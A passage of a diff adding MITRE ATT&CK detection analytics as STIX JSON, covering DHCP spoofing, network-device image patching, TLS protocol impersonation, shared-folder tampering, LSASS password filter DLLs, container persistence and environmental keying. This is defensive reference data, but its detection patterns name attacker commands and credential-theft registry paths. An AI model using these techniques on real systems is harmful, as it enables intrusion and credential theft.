"https://attack.mitre.org/detectionstrategies/DET0468#AN1292", + "external_id": "AN1292" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1292", + "description": "Detects DHCP spoofing by monitoring unified logs for unexpected DHCP ACK/OFFER parameters and correlating with packet captures for multiple DHCP servers. Behavioral emphasis is on inconsistent DNS and gateway assignments that redirect traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "new DHCP configuration with anomalous DNS or router values" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Multiple DHCP OFFER responses for a single DISCOVER" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BaselineDNS", + "description": "Expected DNS server list; deviations may indicate spoofing." + }, + { + "field": "AlertSensitivity", + "description": "Threshold for number of anomalous DHCP responses before alerting." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bf64c48c-5834-426c-be21-6db0efbc7909", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0469#AN1293", + "external_id": "AN1293" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1293", + "description": "Defenders may observe adversary attempts to patch system images by monitoring for anomalous file transfers (TFTP, SCP, FTP) of image files, unauthorized CLI commands altering boot system variables, integrity check mismatches between running and baseline OS images, and runtime memory manipulation attempts. Suspicious sequences include uploading a new image, modifying boot parameters, and subsequent reload/reboot of the device. In-memory patching attempts may manifest as debug commands or boot loader manipulation inconsistent with normal administrative activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "Configuration changes to startup image paths, boot loader parameters, or debug flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "firmware:runtime", + "channel": "Debug or memory access commands indicating attempts to alter OS instructions in memory" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedFirmwareVersions", + "description": "Whitelist of validated vendor OS versions; deviations may indicate tampering." + }, + { + "field": "AuthorizedAdminAccounts", + "description": "Trusted admin accounts permitted to update images; anomalies suggest compromise." + }, + { + "field": "ChecksumBaseline", + "description": "Baseline hash of approved images; used for detecting file tampering." + }, + { + "field": "TimeWindow", + "description": "Correlation period for detecting chained behaviors (file upload \u2192 boot config change \u2192 reboot)." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bcf48294-2388-4ae6-be22-f9038c54e1db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0470#AN1294", + "external_id": "AN1294" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1294", + "description": "Untrusted processes creating outbound TLS/HTTPS connections with malformed certificates or header fields, often mismatched with target service behavior. Detects protocol impersonation attempts via traffic metadata analysis and host process lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "SSL/TLS Handshake Analysis" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IssuerOrgFilter", + "description": "Organizations in certificate issuer fields to allowlist or monitor." + }, + { + "field": "UserContext", + "description": "Restrict detection to non-system users or external-facing applications." + }, + { + "field": "HeaderSignatureMatch", + "description": "Specific HTTP header anomalies or patterns (e.g., missing User-Agent)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d27a6df2-b2df-443e-8e01-c90243465ceb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0470#AN1295", + "external_id": "AN1295" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1295", + "description": "Detection of binaries spawning encrypted sessions using OpenSSL or curl to external services with mismatched ports/protocols. Identifies behavior where internal services simulate trusted cloud service traffic patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Network Capture TLS/HTTP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtocolMatchConfidence", + "description": "Threshold for header-field mismatch against expected service behavior." + }, + { + "field": "TimeWindow", + "description": "Correlation window between process spawn and encrypted session." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a4119120-396e-4993-8f9d-bc7b5fc94e7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0470#AN1296", + "external_id": "AN1296" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1296", + "description": "Unsigned or suspicious applications initiating network traffic claiming to be browser, mail, or cloud clients. Detects impersonation via TLS fingerprint and User-Agent string deviation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "Outbound Traffic" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:osquery", + "channel": "Process Execution + Hash" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Content", + "channel": "HTTP Header Metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessFilter", + "description": "Limit detections to children of suspicious binaries." + }, + { + "field": "HeaderAnomalyScore", + "description": "Threshold for deviation from expected headers (User-Agent, Host)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8307d1d4-4f50-481b-9126-3b145fd68a73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0470#AN1297", + "external_id": "AN1297" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1297", + "description": "ESXi hosts initiating connections from non-standard daemons mimicking HTTP/HTTPS or SNMP traffic, but with irregular payload formats or expired/unsigned TLS certificates.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:hostd", + "channel": "Service-Based Network Connection" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Content", + "channel": "TLS Fingerprint and Certificate Analysis" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TLSFingerprintMatch", + "description": "Allows matching against known-good or known-bad JA3/JA3S hashes." + }, + { + "field": "AllowedServicePorts", + "description": "Tune for expected network ports per ESXi role." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a0554596-7100-4f8b-a4dd-165f528fe6a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0471#AN1298", + "external_id": "AN1298" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1298", + "description": "Detects adversary tampering of shared directories via file drops (e.g., malicious LNK, EXE, VBS) followed by user execution or suspicious network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SharedPathPrefix", + "description": "Defines monitored shared directories (e.g., \\\\server\\HR\\)." + }, + { + "field": "ExecutableExtensions", + "description": "Monitored file types dropped in shared paths (e.g., .lnk, .exe, .vbs)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7518f788-43dd-440a-955c-870cdb7dea26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0471#AN1299", + "external_id": "AN1299" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1299", + "description": "Detects script or binary modification within shared NFS/SMB directories followed by process execution from those paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "NSM:Flow", + "channel": "smb_files.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MountPath", + "description": "Mount path of monitored shared volumes (e.g., /mnt/shared)." + }, + { + "field": "FilenamePattern", + "description": "Pattern matching of abnormal or disguised filenames." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f36a861-3be2-4f6d-bfad-f044cdc01b15", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0471#AN1300", + "external_id": "AN1300" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1300", + "description": "Detects modification of shared network folders via .app bundles or scripting files with hidden extensions (e.g., double extensions like docx.app).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsevents", + "channel": "Directory events (kFSEventStreamEventFlagItemCreated)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "file writes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileExtensionDeception", + "description": "Monitors use of hidden extensions or double extensions." + }, + { + "field": "TargetSharedFolder", + "description": "Defines sensitive shared folders (e.g., /Users/Shared/HR)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--49e91c60-9b73-4a0a-9510-f94152a8ba5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0471#AN1301", + "external_id": "AN1301" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1301", + "description": "Detects upload of malicious or unusual file types into cloud-shared folders, followed by user downloads or interactions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "gcp:workspaceaudit", + "channel": "drive.activity logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "m365:unified", + "channel": "FileUploaded, FileAccessed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserUploadRateThreshold", + "description": "Abnormal upload patterns into shared drives." + }, + { + "field": "MaliciousFileIndicator", + "description": "File hash or known-bad filename pattern matching." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bc143cf2-d6fb-4ea4-98a5-a2db81fc3f84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0471#AN1302", + "external_id": "AN1302" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1302", + "description": "Detects embedded macros or scripts added to shared documents or use of external references to execute code.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "m365:defender", + "channel": "OfficeTelemetry or DLP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacroExecutionPolicy", + "description": "Controls macro execution based on user or group policy." + }, + { + "field": "SuspiciousKeywordMatch", + "description": "Regex match on suspicious VBA function names or calls." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9fb6bb78-418a-483f-ae23-518ffde414d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0472#AN1303", + "external_id": "AN1303" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1303", + "description": "Detects suspicious registration of new password filter DLLs into the authentication process. Correlates registry modifications to LSASS Notification Packages with subsequent DLL creation and loading events. Observes anomalous file placement of DLLs in system directories followed by LSASS loading the new filter during logon/password change activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryPath", + "description": "Specific registry path monitored for modification (e.g., HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages)." + }, + { + "field": "AllowedDLLs", + "description": "Known and approved password filter DLLs; deviations from baseline may indicate malicious injection." + }, + { + "field": "TimeWindow", + "description": "Time window for correlating registry modification, file creation, and module load events." + }, + { + "field": "FilePathPatterns", + "description": "Expected directories for legitimate password filter DLLs; anomalous paths may signal compromise." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de64bfbd-a6ed-4674-b0c5-dd485cba943b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0473#AN1304", + "external_id": "AN1304" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1304", + "description": "Correlate the creation or modification of containers using restart policies (e.g., 'always') or DaemonSets with elevated host access, service account misuse, or privileged container contexts. Watch for manipulation of systemd units involving containers or pod scheduling targeting specific nodes or namespaces.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "systemd:unit", + "channel": "container run with restart policy set to 'always' or 'unless-stopped'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5263cb33-08cc-4a68-820f-004e1e400d76", + "name": "kubernetes:audit", + "channel": "create" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "kubernetes:audit", + "channel": "create" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "restartPolicy", + "description": "Tune for environments that legitimately use 'always' or 'unless-stopped' in trusted containers" + }, + { + "field": "targetNamespace", + "description": "Scope detection to high-risk namespaces (e.g., kube-system)" + }, + { + "field": "nodeSelector|nodeName", + "description": "Adjust if targeting known cluster configurations or test environments" + }, + { + "field": "unitFilePath", + "description": "Adapt to your OS/systemd hierarchy and container binary references" + }, + { + "field": "TimeWindow", + "description": "Adjust temporal correlation (e.g., container launch \u2192 privilege escalation)" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1fd68bec-86cb-4457-b0cd-56fc724fd578", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0474#AN1305", + "external_id": "AN1305" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1305", + "description": "Windows-specific environmental keying behavioral chain: (1) Rapid system information discovery through multiple techniques (WMI queries, registry enumeration, network share discovery, hostname/domain checks), (2) Target validation through specific environmental artifact collection (AD domain membership, network topology, installed software versions), (3) Cryptographic operation correlation indicating payload decryption based on collected environmental values, (4) Subsequent malicious code execution following successful environmental validation, (5) Temporal clustering of discovery activities suggesting automated environmental assessment", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4648, 4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=25" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "name": "WinEventLog:WMI", + "channel": "EventCode=5857, 5860, 5861" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DiscoveryTimeWindow", + "description": "Time window for correlating multiple discovery activities as part of environmental assessment - adjust based on observed attack patterns and system performance (default: 300 seconds)" + }, + { + "field": "CriticalDiscoveryThreshold", + "description": "Minimum number of distinct discovery techniques within time window to trigger detection - tune based on environment's normal administrative activity levels" + }, + { + "field": "TargetSpecificArtifacts", + "description": "Organization-specific environmental elements that adversaries might target (domain names, network shares, specific hostnames, software versions)" + }, + { + "field": "CryptographicIndicatorPatterns", + "description": "Process names, command lines, and API calls indicating potential decryption operations - customize based on observed cryptographic tool usage in environment" + }, + { + "field": "LegitimateAdminAccounts", + "description": "User accounts authorized to perform extensive system discovery - maintain current list to reduce false positives from legitimate administrative activities" + }, + { + "field": "BusinessHoursBaseline", + "description": "Normal business hours for risk scoring adjustment - discovery activities outside these hours receive higher risk scores" + }, + { + "field": "WMIQueryComplexityThreshold", + "description": "Complexity metric for WMI queries to identify sophisticated environmental assessment versus simple system checks" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c24eb4e0-f23a-4d93-b2e0-7f5e7cae44f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0474#AN1306", + "external_id": "AN1306" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1306", + "description": "Linux environmental keying behavioral chain: (1) System information gathering through native commands (uname, hostname, id, whoami, ifconfig/ip) and file system enumeration, (2) Network configuration discovery (route tables, DNS settings, network interfaces), (3) Filesystem and mount point analysis for target-specific directories or devices, (4) Process and service enumeration to identify target-specific software, (5) Cryptographic library usage correlation with collected environmental data, (6) Payload execution following successful environmental validation", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "linux:syslog", + "channel": "kernel messages related to cryptographic operations, module loading, and filesystem access patterns" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DiscoveryCommandSequenceThreshold", + "description": "Number of distinct discovery commands within time window to trigger detection - adjust based on normal system administration patterns in environment" + }, + { + "field": "ProcessAncestryDepth", + "description": "Depth of process parent-child relationships to analyze for discovery activity clustering - balance between detection efficacy and performance" + }, + { + "field": "CryptographicLibraryIndicators", + "description": "Shared libraries and system calls indicating cryptographic operations (libcrypto, libssl, openssl) - customize based on environment-specific crypto tools" + }, + { + "field": "TargetSpecificFilesystems", + "description": "Organization-specific mount points, network filesystems, or device paths that adversaries might validate against" + }, + { + "field": "AuthorizedDiscoveryUsers", + "description": "User accounts and service accounts authorized for extensive system discovery operations - maintain for false positive reduction" + }, + { + "field": "NetworkConfigurationBaseline", + "description": "Normal network interface configurations and routing tables to identify anomalous network discovery patterns" + }, + { + "field": "ContainerContextIdentifiers", + "description": "Container runtime identifiers and namespace patterns to detect environmental assessment targeting container environments" + } + ], + "x_mitre_platforms": [ + 